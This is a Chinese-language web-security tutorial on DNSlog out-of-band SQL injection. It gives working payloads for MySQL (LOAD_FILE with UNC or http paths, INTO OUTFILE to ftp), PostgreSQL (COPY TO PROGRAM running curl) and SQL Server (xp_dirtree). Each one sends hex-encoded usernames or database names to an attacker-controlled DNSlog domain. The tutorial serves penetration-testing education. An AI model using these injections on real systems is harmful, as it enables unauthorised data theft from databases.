Loading ...
SQL 注入之 DNS 注入:利用 DNS 带外查询突破盲注限制
在 Web 安全测试中,当遇到 SQL 注入但无法通过联合查询直接获取数据时,盲注往往是无奈之选。但手工盲注效率极低,自动化工具又可能因频繁请求被封 IP。此时,DNSlog 注入(DNS 带外查询) 作为一种巧妙的注入姿势,能通过 DNS 解析记录 “带外” 获取数据,成为突破困境的关键技术。本文将深入解析 DNS 注入的原理、工具与实战技巧。

一、什么是 DNSlog 注入?

DNSlog 注入本质是一种带外数据获取技术,核心逻辑是:通过构造特殊 SQL 语句,让数据库在执行时主动发起 DNS 查询,查询的域名中包含我们需要获取的数据(如数据库名、用户名等)。之后,通过查看 DNS 服务器的解析日志,即可从域名中提取目标数据。
与传统盲注相比,它的优势在于:
  • 无需逐字符猜解,可批量获取数据;
  • 减少与目标服务器的直接交互,降低被封禁风险;
  • 适用于 “布尔盲注”“时间盲注” 等难以直接回显的场景。

二、核心工具:LOAD_FILE () 函数与 DNSlog 平台

DNS 注入的实现依赖两个关键要素:数据库的文件读取函数(如 MySQL 的LOAD_FILE())和可控的 DNSlog 平台(用于接收解析记录)。

1. MySQL 的 LOAD_FILE () 函数:数据带出的核心

LOAD_FILE()是 MySQL 中用于读取文件并返回内容的函数,但在 DNS 注入中,它的作用是触发 DNS 查询—— 当传入的路径是一个域名时,MySQL 会尝试解析该域名,从而将数据 “嵌入” 域名中发送到 DNS 服务器。

使用LOAD_FILE()的前提条件:

  • secure_file_priv配置为空
    通过show global variables like '%secure_file_priv%';查看,其值决定了LOAD_FILE()的权限:
    • NULL:禁止所有导入导出(无法使用);
    • 具体路径:仅允许操作指定目录(需路径匹配);
    • 空值(''):无限制(最理想状态)。
  • 拥有 FILE 权限:数据库用户需具备FILE权限才能调用LOAD_FILE()
  • 路径格式正确:需使用完整路径,在 Windows 下常用 UNC 路径(如//domain/path),Linux 下可结合协议(如http://domain)。
  • 文件大小限制:读取内容需小于max_allowed_packet(默认 1MB),但 DNS 注入中仅需触发解析,无需实际读取文件内容。

2. DNSlog 平台:接收数据的 “信使”

DNSlog 平台是提供可控子域名的服务(如dnslog.cnceye.io),用户可获取一个专属子域名(如qn8lya.dnslog.cn),当目标服务器解析该子域名的衍生域名(如test.qn8lya.dnslog.cn)时,平台会记录解析日志,从而获取嵌入的信息。
常用平台:

三、UNC 路径:跨系统的路径适配关键

LOAD_FILE()触发 DNS 查询的核心是 “路径解析”,而UNC 路径(通用命名规则)是 Windows 下的关键,Linux 则需结合协议绕过,二者的适配直接影响注入成功率。

1. Windows 系统的 UNC 路径

UNC 路径格式为\\servername\sharename(或//servername/sharename,推荐后者),其中servername可替换为域名。当LOAD_FILE()传入//xxx.dnslog.cn/any时,Windows 会优先解析xxx.dnslog.cn,从而触发 DNS 查询。
示例:
LOAD_FILE('//user_info.qn8lya.dnslog.cn/aaa')
此时,user_info.qn8lya.dnslog.cn会被解析,user_info即为我们要带出的数据。

2. Linux 系统的适配方案

Linux 默认不支持 UNC 路径(依赖 SMB 服务),但可通过http/ftp协议触发域名解析。例如:
LOAD_FILE('http://user_info.rfyqg3.dnslog.cn')
MySQL 会解析http://后的域名,从而触发 DNS 请求(需 MySQL 版本支持远程 URL 解析)。

四、DNS 注入实战步骤

以 MySQL 为例,完整流程分为 3 步,核心是将目标数据嵌入 DNS 域名并触发解析。

步骤 1:获取 DNSlog 子域名

在 DNSlog 平台注册后,获取专属子域名,例如qn8lya.dnslog.cn(后续所有衍生域名均基于此)。

步骤 2:构造注入语句,嵌入目标数据

假设要获取数据库用户名(user()),需将其作为子域名的一部分,通过LOAD_FILE()触发解析。

基础语句(无特殊字符时):

id=1' and load_file(concat('//',user(),'.qn8lya.dnslog.cn/aaa')) -- s
  • concat()用于拼接字符串,将user()的结果作为子域名前缀;
  • -- s用于注释后续 SQL,避免语法错误。

处理特殊字符:Hex 编码转换

user()的结果可能包含@(如root@localhost),而@是 DNS 域名中的非法字符,会导致解析失败。此时需用hex()函数将数据转为十六进制:
id=1' and load_file(concat('//',hex(user()),'.rfyqg3.dnslog.cn/xxx')) -- s

步骤 3:查看 DNS 日志并解码

在 DNSlog 平台刷新日志,会看到类似726f6f74406c6f63616c686f7374.rfyqg3.dnslog.cn的解析记录,其中726f6f74406c6f63616c686f7374即为user()的十六进制结果。
通过 MySQL 的unhex()函数解码:
select unhex("726f6f74406c6f63616c686f7374"); 
-- 结果:root@localhost

五、LOAD_FILE () 禁用时的替代方案

LOAD_FILE()被限制,可根据数据库类型选择其他带外查询方式:

1. MySQL:INTO OUTFILE 写入远程路径

通过INTO OUTFILE写入远程 FTP 路径,触发域名解析:
select 'test' into outfile 'ftp://hex(database()).xxx.dnslog.cn/tmp.txt'
  • hex(database())将当前数据库名转为十六进制,作为子域名前缀;
  • MySQL 会解析ftp://后的域名,日志中可提取数据库名。

2. PostgreSQL:COPY 命令执行系统命令

PostgreSQL 的COPY可调用系统命令(如curl),访问可控域名:
COPY (select current_database()) TO PROGRAM 'curl http://'||hex(current_user())||'.xxx.dnslog.cn'
  • current_database()获取当前数据库名,current_user()获取当前用户;
  • ||用于字符串拼接,curl访问构造的 URL,触发 DNS 解析。

3. SQL Server:xp_dirtree 列出远程目录

SQL Server 的xp_dirtree可列出远程目录,解析域名时带出数据:
exec master..xp_dirtree '\\hex(user()).xxx.dnslog.cn\share'
  • xp_dirtree会解析\\后的域名,hex(user())将用户名转为十六进制;
  • 解析日志中可提取用户名的十六进制值。

六、总结与注意事项

DNSlog 注入通过 “带外查询” 巧妙避开了直接数据回显的限制,是盲注场景下的高效技术,但需注意:
  1. 权限依赖:多数方法依赖数据库高权限(如 FILE 权限、系统命令执行权限);
  2. 特殊字符处理:务必用hex()等函数处理特殊字符,避免 DNS 解析失败;
  3. 跨系统差异:Windows 优先用 UNC 路径,Linux 结合http/ftp协议;
  4. 平台选择:优先使用稳定的 DNSlog 平台,避免解析延迟或日志丢失。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇